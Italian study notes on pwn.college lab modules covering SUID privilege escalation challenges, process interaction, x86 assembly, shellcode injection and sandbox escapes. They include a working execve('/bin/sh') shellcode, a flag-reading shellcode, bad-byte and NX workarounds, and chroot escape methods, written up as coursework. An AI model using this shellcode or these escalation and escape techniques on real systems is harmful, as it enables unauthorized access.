Mod 1: Program Misuse
Privilege escalation
bho, roba su suid :D
!!!!SE QUALCUNO HA VOGLIA DI FARE GLI APPUNTI PER BENE FACCIA PURE!!!!
Materiale aggiuntivo
OBBLIGATORIO: nessuna persona sulla faccia della terra può identificarsi come sistemista UNIX senza aver visto questo video.
Per chiunque non conosca abbastanza bene l’ambiente UNIX, consiglio di partire capendo il funzionamento della shell, cosa come e quando manipola l’input.
(imho di fondamentale importanza è la seconda parte della lezione del 16/03/21, ma anche le altre su BASH non si buttano)
Cyberchef è un tool per manipolare facilmente dati offuscati. Imparatelo ad usare che torna utile in fretta.
Vim è utile.
Lo troverete ovunque ed è in generale comodo per manipolare file di testo velocemente.
Guardatevi questo talk che spiega il concetto fondamentale, ovvero come vim sia un linguaggio turing completo, e non un semplice editor di testo con una serie di scorciatoie come tutti gli altri.
Challenges
Opinioni generali
Imho queste challenge hanno poco senso, data una conoscenza abbastanza approfondita dei tool standard UNIX e della shell.
Alcuni sono simpatici rompicapo, altri troppo facili per valerne la pena.
Consiglio di farne un campione tra quelle che non sembrano ovvie, giusto per entrare nell’ottica giusta.
babysuid 1-9
Presente il bit SUID settato (con owner root) per i seguenti binari (che in un modo o nell’altro stampano su stdout il contenuto di un file)
I binari utilizzati sono i seguenti:
cat
more
less
tail
head
sort
vim
emacs
nano
babysuid 10-16
Qui verrà stampata la flag in stdout da tool che ne modificano il formato, sempre usando il sed SUID su binari con owner root.
La difficoltà aggiuntiva consiste nel ricavare il plaintext dai formati mostrari.
I binari utilizzati sono i seguenti:
rev
od
(stampa in ottali)hd
(hexdump)xxd
base32
base64
split
(da man: “split a file into pieces”)
babysuid 17-23
Stessa roba, a sto giro vengono utilizzati binari per creare/estrarre archivi.
I binari utilizzati sono i seguenti:
gzip
bzip2
zip
tar
ar
cpio
genisoimage
babysuid 24-32
Qui inizi ad utilizzare binari (sempre con SUID root) non esplicitamente creati per leggere file.
I binari utilizzati sono i seguenti:
env
find
make
nice
timeout
stdbuf
setarch
watch
socat
babysuid 33-36
Queste dicono di richiede un po’ di programmazione, si tratta sempre di tool standard unix che riescono a leggere file da disco.
I binari utilizzati sono i seguenti:
whiptail
awk
sed
ed
- THE STANDARD UNIX EDITOR
babysuid 37-40
Qui iniziamo ad utilizzare SUID per modificare i permessi del fs, invece di leggere direttamente la flag.
I binari utilizzati sono i seguenti:
babysuid 41-44
SUID su interpreti di lang general purpose.
I binari utilizzati sono i seguenti:
babysuid 45-50
Queste riguardano binari non banalmente esploitabili per leggere il contenuto della flag. Richiedono un po’ di fantasia.
I binari utilizzati sono i seguenti:
date
dmesg
wc
gcc
as
(portable gnu assembler)wget
ssh-keygen
Mod 2: Program Interaction
Appunti lezioni
Linux command line
TODO:
Binary Files
Executable and Linkable Format: definisce la forma che deve avere un binario per poter essere eseguito su linux.
Bel blogpost
Un file ELF è divisibile in segmenti. questi definiscono dove le varie parti del binario verranno caricate in memoria.
Ortogonalmente alla divisione in segmenti, è possibile anche dividere il binario in sezioni, queste definiscono la semantica delle parti del binario.
A noi interesseranno le seguenti sezioni:
.text
: sezione eseguibile del binario.plt
, .got
: sezione in cui verranno caricate le librerie dinamiche utilizzate dal binario.data
: variabili dichiarate a compile time.rodata
: costanti a compile time (tipo le stringhe).bss
: variabili dichiarate a compile time ma non inizializzate
Per interagire con l’ELF, possiamo utilizzare i seguenti tools:
gcc
to make your ELF.readelf
to parse the ELF header.objdump
to parse the ELF header and disassemble the source code.nm
to view your ELF’s symbols.patchelf
to change some ELF properties.objcopy
to swap out ELF sections.strip
to remove otherwise-helpful information (such as symbols).kaitai struct
to look through your ELF interactively.
Linux Process Loading
TODO:
Linux Process Execution
TODO:
Materiale aggiuntivo
pwntools: libreria molto utile per semplificare l’interazione con i processi a runtime.
QUESTO VA IMPARATO BENE, leggere almeno una volta line by line il tutorial
Challenges
Opinioni generali
TODO: scrivere opinioni una volta finite le challenges
embryoio 1-28
flag gratis, ti chiede di fare cose su:
- stdin/stdout
- argomenti
- variabili di ambiente
env -i
per azzerare l’ambiente- dalla manpage di
bash
, sezione exec
: The -c option causes command to be executed with an empty environment.
- redirezione
- lanciare script bash/python
embryoio 29-85,88-97,102-105,107,110,115-123
qui inizia a chiederti di generare nuovi processi (fork), gestire redirezione con pipe e fifo, argv, env e segnali inizi a dover scrivere qualche riga di C.
Le challenge sono speculari in C, bash e python.
- La chall 66 chiede di utilizzare
find
, questa è interessante (anche se molto facile) - La chall 73, 79, 85 chiede roba sulla CWD (working dir) tra padre e figlio: TODO: check
- La chall 94 chiedere di avere come input il file descriptor 283. Questo e` facile da fare in bash (TODO: provare a rifarla in sh posix):
exec 283< tmp
/challenge/embryoio_level94 <&283
Questa soluzione funziona sono in bash, non is shell posix. La motivazione la troviamo qui:
Open files are represented by decimal numbers starting with zero.
The largest possible value is implementation-defined; however, all implementations shall support at least 0 to 9, inclusive, for use by the application.
These numbers are called “file descriptors”.
Quindi, il file descriptor 283 e` accettato dallo standard ma non implementato in diverse shell posix (tipo dash).
- un processo figlio eredita dal padre i file descriptor
- i due processi condividono anche la posizione nel file (fseek). TODO: cercare docs su sta cosa
- il figlio passa a zombie (aka orfani, con padre init) se il padre vero muore
- i figli ereditano l’environment dal padre
- ricorda che il programma per mandare un segnale ad un processo e`
kill
embryoio 86,87,99,100,106,112,113,126-142
qui bisogna comunicare con il processo che sta girando.
Per comunicare, ti chiede di utilizzare vari medodi, quali:
- stdin/stdout
- fifo
- tcp
- (forse altro)
In pratica sono date dal sw di checking delle operazioni matematiche da completare, e lo scopo e` quello di risolverle programmaticamente.
Un’altra sottocategoria, sempre simile, consiste nel dover programmaticamente mandare n segnali, scelti dinamicamente dalla challenge al processo figlio.
Anche questi sono divisi tra bash , C e python, la soluzione per comunicare interattivamente e`:
- bash: TODO: capire come si fa (maybe http://tiswww.case.edu/php/chet/bash/bashref.html#Coprocesses)
- C: semplice ciclo consumer con pipe.
man pipe
contiene un esempio - python: pwntools e` fatto apposta
Mod 3: Assembly Crash Course
Appunti lezioni
Lezione 0: Computer Architecture
CPU composta da gate logici AND, OR, XOR e i corrispondenti negati -> prendono in input 0/1 e restituiscono un output che dipende dal tipo di gate usato.
Combianando tali componenti si generano reti logiche più complesse come ADDER, MUX, ecc.
La CPU è composta da registri (memoria), Control Unit (CU), Arithmetic Logic Unit (ALU).
Lezione 1: Assembly
Rappresentazione del codice binario dato in pasto alla CPU -> Assembly (primo layer di astrazione creato sopra il codice binario).
L’ assembly è strettamente correlato all’architetettura in cui si lavora, quella presa in analisi è x86, con sintassi Intel perchè quella AT&T fa schifo.
Lezione 2: Data
I dati nei calcolatri sono rappresentati in binario(base2) (solo cifre (bit) 0/1), solitamente risulta semplice esprimere i numeri binari in basi fatte da potenze di 2, le più diffuse sono base 8 (ottale), base 16 (esadecimale).
Il testo viene anch’esso codificato in binario, ASCII -> codifica a 7 bit; UTF-8 -> codifica a 8 bit (98% del web è codificato così)
Ogni i bit vengono raggruppati nel seguente modo (storicamente):
- Nibble: 1/2 byte,4 bits
- Byte: 1byte, 8 bits
- Half Word (word): 2 bytes, 16 bits
- Double Word (dword): 4bytes, 32 bits
- Quad Word (qword): 8 bytes, 64 bits
in realtà usiamo word per intendere anche la dimesione del bus dell’architettura (ie: 8 byte per amd64)
Per quanto riguarda i numeri nell’architettura a 64 bit ne possiamo esprimere 2^64.
Se facciamo overflow (superiamo il valore massimo) il bit che avanza viene messo in carry bit e si riaprte a contare da 0.
Per quanto riguarda la notazione dei numeri negativi si utilizza la notazione in complemento a 2 i numeri negativi hanno la stessa rappresentazione dei numeri positivi correlati, esempio: se il massimo numero è 256 e per interi unsigned abbviamo un range da 0-255 invece per i signed avremo -128-128, lo 0 viene rappresentato dal 256esimo numero, quindi se noi facciamo 0-1 il numero sarà 255 ma rappresenterà il -1.
Lezione 3: Registers
La CPU salva i dati temporanei nei registri, nelle architetture moderne sono solitamente da 64 bit, e possiamo effettuarel’accesso anche parzialmente ai primi 16/32 bits, inoltre in alcuni casi si può accedere singolarmente anche ai primi due byte.
“mov” è una delle istruzioni assembly per caricare i registri (esempio: mov rax, 0x539
) possiamo caricarli sia con valori immediati, come l’esempio, sia con valori di altri registri.
Registri speciali:
rip
: indirizzo di memoria della prossima istruzione (non si può direttamente leggere o scrivere)rsp
: contiene l’indirizzo dello stack
Utilizzo registri più piccoli
Quando si utilizza la versione 32 bit del registro, il resto viene azzerato.
Quando si utilizzano le sezioni più piccole del registo, invece, viene mantenuto il resto del registro invariato.
EX:
mov rdx, 0x1122334455667788
mov edx, 0x99
# Risultato: rdx contiene
# 0x0000000000000099
mov rdx, 0x1122334455667788
mov dx, 0x99
# Risultato: rdx contiene
# 0x1122334455660099
I registri 8 bit si comportano come il secondo esempio
In caso di numeri con segno l’azzeramento causerebbe un problema, quindi si usa movxs
(move sign-extending) che salva in complemento a due il numero all’interno del registro.
Lezione 4: Memory
Memoria RAM: indirizzata linearmente da 0x10000 (non inizia da 0 per motivi di sicurezza TODO: why?) a 0x7fffffffffffffff (rchitettura a 64 bit) ogni indirizzo di memoria è referenziato da un byte -> 127 TB di memoria massima (virtuale).
Stack (lifo): i dati si carico sullo stack con il comando “push” (rsp viene decrementato di 8), con “pop” si rimuovono (rsp viene aumentato di 8).
Deprecato, in realtà molti compilatori il base pointer non lo usano proprio in amd64
Utilizziamo il base pointer (%rbp
) come punto di riferimento per sapere dove trovare le variabili locali della funzione nello stack (spesso si fa, per esempio, [%rbp + 0x16]
).
Il base pointer verrà spostato tutte le volte che si entra/esce da una funzione.
NB la notazione dei byte è little endian: il bit meno significativo va a sinistra
Con l’struzione lea (load effective address) puà essere caricato il valore di un registro tramite il numero relativo esempio [rsp + 8]
Lezione 5: Control Flow
jumps
x86 ha una miriade assurda di metodi per saltare.
I più interessanti sono (per il dudo che fa lezione):
jmp
: salto non condizionale
je
e tutti gli altri: salti condizionali, decidono se saltare o meno a seconda del contenuto di biut specifici in rflags
(settati da comparison, overflow, zero, sign, ecc.)
eb
: salto corto, prende un byte e salta relativamente rispetto a rip
TODO: check quando le flag in rflags
vengono azzerate
looping
jump condizionale nella stessa zona di codice (non credo di dover spiegare sta roba)
function call
sono interessanti le istruzioni
call
: salva rip sullo stack e salta alla nuova istruzione
ret
: recupera rip dallo stack e ci salta “dentro”
È importante la calling convenction, ovvero il contratto tra chiamante e chiamato su chi fa pulizia dello stack e cosa deve essere dove.
amd64 Sys-V
I punti salienti sono:
- registri scrath che si possono usare:
%rax, %rcx, %rdx, %r8, %r9, %r10
- lo stack deve essere sempre allineato a 16 bit
- red zone: 128 byte dopo
%rsp
sono riservati per dati temporanei all’interno della funzione. È un ottimizzazione fatta per non dover spostare %rsp
. - parameter passing:
- per i dati di tipo INTEGER (check documento p. 17) vengono usati i registri
%rdi, %rsi, %rdx, %rcx, %r8, %r9
- per i dati di tipo MEMORY, X87 viene usato lo stack
- per la roba SSE, SSEUP vengono usati i registri vettoriali
- quanto i registri sono pieni, si usa lo stack in ordine right-to-left
- smthing about
varargs or stdargs
, registro %al contiene l’upper bound del numero di parametri
- ritorno:
- se classe MEMORY, il chiamante riserva dello spazio e lo passa in
%rdi
(come se fosse il primo argomento). Al ritorno, la funzione setterà %rax = %rdi
- se classe INTEGER, verranno usati
%rax, %rdx
- classe SSE, X87 non mi interessano
Lezione 6: System Calls
Le systemcall interagiscono con il sistema operativo; in assembly è necessario caricare il registro rax
con la codifica della system call corrispondente e poi usare l’istruzione “syscall”, esempio:
Per le system call che hanno come input le stringhe è necessario caricare i caratteri sullo stack (puntato da rsp
).
TODO: sta parte è un po’ mhe, sinceramente non credo sia necessario utilizzare lo stack per forza.
Per quanto riguarda la syscall exit() bisogna inserire il codice di ritorno in rdi
e poi chiamarla con il valore 60 in rax
:
mov rdi, 42 #return code
mov rax, 60
syscall
Lezione 8: Building Programs
Una volta scritto un sorgente in assembly è necessario assemblarlo in un binario con il comando gcc -nostdlib -o binario sorgente
. -nostdlib
sta a specificare che il programma non è scritto in C.
Per leggere un binario: objdump -M intel -d binario
(da l’output in binario (little endian) e accanto l’assembly corrispondente.
Per debuggare l’assembly usa l’istruzione int3
Programmi utili:
strace
: fa vedere tutte le system call utilizzate dal binariogdb
: debuggerrappel
fa esplorare gli effetti delle istruzioni (???repl per asm???)
Altre risorse
https://www.amd.com/system/files/TechDocs/24592.pdf
https://www.felixcloutier.com/x86/index.html
Load Effective Address (lea)
TODO: tbh non ho ancora capito bene che succede:
...
lea rsi, [rip+.hello]
...
.hello:
.string "hello word"
Challenges
embryoasm 1
Questa challenge è la flag gratis. Ti chiede di spostare un valore in un registro, quindi istruzione mov
. L’utilità sta nel farti capire il contesto, noi procederemo così:
- pwntools per comunicare con la challenge
- la challenge si aspetta codice binario in
stdin
- pwntools gestisce quindi anche la parte di assembly
pwntools va saputo usare, rimando al Mod2 per risorse in merito
embryoasm 2-9
- semplici operazioni tra registri
- divisione intera (qui c’è weird stuff happening)
- utilizzare la parte bassa dei registri
- utilizzare op logiche
embryoasm 10-13
- utilizzare la memoria come puntatori (dereferenziare)
- roba sul little endian
embryoasm 14-16
embryoasm 17-23
- introdotti i salti
- questo ti permette di avere i cicli
- le funzioni le considero un tipo speciale di salto tbh (amo troppo risc)
17
Qui theres a bit of a tricky situation:
chiede di fare un salto relativo di 0x51 byte in avanti
la soluzione è la seguente:
jmp .jumpstart+0x51
.jumpstart:
Questo produce infatti il bytecode: eb51
, ovvero salto corto di 0x51 byte
Ecco le altre soluzioni possibili, e perchè sono sbagliate
Questa soluzione ha logicamente senso: .
significa “posizione attuale” per l’assembler.
Non funziona, perchè viene assemblato in eb4f
, dato che l’istruzione è composta da 2 byte.
Infatti, jmp .+0x53
funziona.
Altra cosa interessante:
I jmp
con valore immediato sono sempre relativi (non ho proprio una gran fonte ma mi fido).
Per fare un salto assoluto con un valore immediato, le soluzioni sono mandarlo sullo stack:
oppure usare un registro temporaneo
mov rax, 0xdeadbeef
jmp rax
18
Qui senza dire niente a nessuno la challenge voleva il risultato in 32 bit
...
correct = (
self.init_values[0] + self.init_values[1] + self.init_values[2]
) & 0xFFFFFFFF
...
assert self.rax == correct
except AssertionError:
return False
return True
Soluzione quite ez a quel punto, ecco il codice (lo metto qui perchè utilizzo qualche istruzione che può tornare utile in futuro):
movsx rax, dword ptr [rdi]
movsx rbx, dword ptr [rdi+4]
movsx rcx, dword ptr [rdi+8]
movsx rdx, dword ptr [rdi+12]
int3
cmp rax, 0x7f454c46
je .yolo1
cmp rax, 0x00005a4d
je .yolo2
jmp .yolo3
...
.yolo3:
# qui bisogna stare attenti, imul sovrascrive rdx
mov rax, rdx
imul rbx
imul rcx
jmp .end
.end:
and eax, 0xFFFFFFFF
int3
nop
19
Guardando la documentazione, non esistono salti assoluti condizionali. È quindi necessario passare ad un trampolino e poi saltare dove vogliamo.
0x400000: cmp rdi, 3
0x400004: jle 0x400009
0x400006: jmp qword ptr [rsi + 0x20]
0x400009: jmp qword ptr [rsi + rdi*8]
20, 21
straightforward, ricorda che esiste l’istruzione loop
che in 2 byte fa un for
22, 23
si inizia a creare funzioni, quindi calling convention e tutto
Mod 4: Shellcode Injection
Appunti lezioni
Intro
Come abbiamo visto negli scorsi moduli i processori moderni seguono l’architettura Von Neumann.
L’architettura Harvard separa la memoria eseguibile dalla memoria in lettura/scrittura (TODO: cercare perchè/cenni storici).
Perchè facciamo notare questa differenza? Perchè in un arch Von Neumann è possibile fare shellcode injection, ovvero redirezionare l’esecuzione di un processo in modo arbitrario, inserendo come input al programma le istruzioni binarie da eseguire.
Come si arriva a poter usare una shellcode injection
Si tratta quasi sempre di bug introdotti dal programmatore (esempio fatto a lezione, trattare un buffer di char al posto di un puntatore di funzione. Vabbè sto esempio fa un po’ schifo, visto che il sistema di tipi dovrebbe mettersi in mezzo a compile time).
Shellcode?
Un pezzo di software, in codice macchina, che fai eseguire al processo che stai attaccando.
Chiamato “shell"code perchè normalmente lo scopo è avere una shell sulla macchina compromessa.
Lo shellcode per avere una shell su amd64 linux è il seguente:
mov rax, 59 # this is the syscall number of execve
lea rdi, [rip+binsh] # points the first argument of execve at the /bin/sh string below
mov rsi, 0 # this makes the second argument, argv, NULL
mov rdx, 0 # this makes the third argument, envp, NULL
syscall # this triggers the system call
binsh: # a label marking where the /bin/sh string is
.string "/bin/sh"
Ovviamente, può essere usato per fare qualsiasi cosa, non solo aprire shell.
Fast prototyping
- Compilare shellcode in ELF:
.global _start
_start:
.intel_syntax noprefix
<inserire shellcode>
$ gcc -N -nostdlib -static shellcode.s -o shellcode-elf
- va poi estratta la parte interessante per usarlo nell’exploit (aka
.text
) - Creare un programma C che prende shellcode in input, per simulare la situazione trovata nel processo da esploitare
page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
read(0, page, 0x1000);
((void(*)())page)();
- ovviamente puoi sempre usare strace e i debugger
- si può assemblare lasciando i simboli di debug (non ci sono ripercussioni su
.text
) - spesso è utile inserire
int3
direttamente nel shellcode
- qemu per archittetture diverse da amd64
Problemi tipicamente riscontrati
- Bisogna stare attenti alle dimensioni dei dati spostati. Gli assembler ti permettono di specificarlo se necessario.
- Spesso ti ritrovi a non poter usare alcuni byte, a seconda del mezzo con cui comunichi con il process (ie
\n
). Ecco alcune possibili soluzioni:- riscrivere lo shellcode in per fargli avere la stessa semantica
ie:
mov rax, 10 (48c7c00a000000)
si può riscrivere come mov rax, 9; inc rax (48C7C00900000048FFC0)
- ci sono tool automatici, ma ogni tanto si rompono e diventa difficile capire cosa stia succedendo (il dudo sconsiglia di usarli)
- salvare il codice (con i byte vietati modificati) come data, ripristinare i byte necessari e poi eseguirlo
- fare uno shellcode multi-stage, dove il primo stage esegue semplicemente una read verso
[rip]
, e il resto dello shellcode viene iniettato dopo
- shellcode può essere modificato in modo strano prima di essere eseguito, qui la soluzione deve essere ad-hoc
Protezione: No-eXecute
Il sistema operativo riesce a mitigare quasi tutti i casi in cui lo shellcode ci permette di exploitare roba.
In pratica le pagine il kernel decide quali pagine di memoria hanno i permessi di essere eseguiti, e normalmente non assegna permessi di scrittura e esecuzione alla stessa pagina.
Per poter eseguire lo shellcode, le soluzioni possono essere le seguenti:
- usare altri metodi per usare la syscall
mprotect
e rendere eseguibile la pagina scrivibile - accedere ad una pagina che ha già i permessi
wx
, queste si trovano tipicamente nello spazio di memoria dei compilatori JIT, dato che hanno bisogno di compilare ed eseguire on the fly- JIT spraying (non ho ben capito cosa sia, ma non credo sia nello scope di pwncollege)
- molti sistemi embedded non implementano NX
Approfondimento sull’implementazione di NX
Il sistema è gestito a livello di pagine di memoria
Niente, in realtà non ho capito
Forse mi aiuta capire come funziona pae
Altre risorse
Challenges
1
mov rax, 2
lea rcx, [rip+.after_open]
lea rdi, [rip+.flag_filename]
xor rsi, rsi
syscall
.after_open:
mov rdi, rax
mov rax, 0
lea rcx, [rip+.after_read]
lea rsi, [rip+.buffer]
mov rdx, 0x99
syscall
.after_read:
mov rax, 1
lea rcx, [rip+.after_write]
mov rdi, 1
lea rsi, [rip+.buffer]
mov rdx, 0x99
syscall
.after_write:
ret
.flag_filename:
.string "/flag"
.buffer:
.space 0x100
2
Uso space
(visto prima) per inizializzare 0x90 (nop
) per 0x800 byte
3
Ez, basta lavorare un po’ con gli indirizzi e fare sottrazioni dove serve
4
.macro .my_deref reg, lowreg, label
call .push_rip
pop \reg
add \lowreg, \label - . + 1
.endm
che chiama
.push_rip:
pop r11
push r11
push r11
ret
Mod 5: Sandboxing
Appunti lezioni
Introduction
Qui spiega le motivazioni storiche per la creazione di sandbox, e la loro evoluzione nei decenni:
- ~1960 Prime cpu girava tutto in real mode
- ~1980 Viene introdotto, in hardware, supporto per memoria virtuale, diversi ring di autorizzazione per separare la roba user-space da kernel-space, protezione della memoria (prima con la segmentazione e poi con il paging) e altre cose belle
- ~1990 separazione “in-process”, quindi tra interprete e codice interpretato (TODO: cerca more resources su sta roba)
- ~2000 con l’espansione del www, i browser diventano sempre più complessi (e vengono creati sistemi per la distribuzione di applicativi via web, tipo Flash). Con la complessità aumenta la superficie di attacco e la gravità di una possibile compromissione
- ~2010 Gli engine JS diventano mostri enormi con performance di cristo, viene rilasciato HTML5 e muoiono gli applicativi custom su web. Questo non fa altro che spostare il problema, quindi vengono introdotti layer di separazione tra il processo non privilegiato che esegue il codice web e il processo padre che funge da “sistema operativo”, in some way (TODO: anche qui la cosa mi è un po’ fumosa, check better)
Alla fine il dudo parla di quanto sia figo il sandboxing e di come, anche se non sempre funziona, aggiunge un layer di security particolarmente efficace
Native Client Sandbox
Il dudo dice sta cosa, e io me la sono scritta per capire cosa fosse. Visto che Im lazy ecco che ne pensa chatgpt
x86 Native Client (NaCl) is a sandboxing technology that allows developers to run native code securely in a web browser. It is based on the x86 architecture, which is the most commonly used microprocessor architecture for personal computers. NaCl uses a combination of hardware and software security measures to isolate the native code from the rest of the system, helping to prevent vulnerabilities and other security issues.
NaCl uses a technique called “software fault isolation” to protect the system from potentially malicious code. This involves creating a sandbox, or isolated execution environment, in which the native code can run. The sandbox is designed to be as small and simple as possible, to minimize the potential attack surface for an attacker. It also includes various security measures, such as memory protection and code signing, to prevent the native code from accessing sensitive data or performing unauthorized actions.
In addition to its security benefits, NaCl also provides performance advantages over other solutions for running native code in a web browser. Because it uses native code, it can run faster and more efficiently than other solutions that rely on interpreted or compiled code. This makes it an attractive option for developers who want to run native code in a web browser without sacrificing performance.
Overall, x86 Native Client (NaCl) is a valuable tool for developers who want to run native code securely in a web browser. Its combination of security and performance makes it a popular choice for many applications.
chroot
Chroot è una syscall unix che permette di cambiare la posizione di /
per un certo processo.
Ha una qualche rilevanza lato security e se utilizzata correttamente non permette facilmente l’escape, ma in generale non va considerata un buon sistema di sandboxing.
I possibili modi per romperla sono:
- mantenere un fd aperto prima del chroot, questo non verrà chiuso e permette di scappare utilizzando una syscall che accetta path relativo (ex: openat, execvat) (
AT_FDCWD
contiene la dir corrente TODO: check better) - chroot non viene gestito come “stack”, quindi quando viene riutilizzata la syscall viene completamente dimenticata la call vecchia. Se hai
SUID == 0
e setuppi un’altra chroot e scappi dalla seconda, sei libero anche dalla prima. - IPC, network e altro permette escape ad hoc. In pratica tutto quello che ha portato alla creazione dei namespaces
seccomp
Seccomp, basato su eBPF, permette di utilizzare un meccanismo simile a quello dei firewall per le syscall.
È implementata come una librera, basta setuppare il seccomp all’inizio del proprio software.
Seccomp è ereditato da padre a figlio (l’esempio della lezione its wrong tho)
Come scappare da seccomp?
Guarda slides
- seccomp di default blocca tutte le syscall x86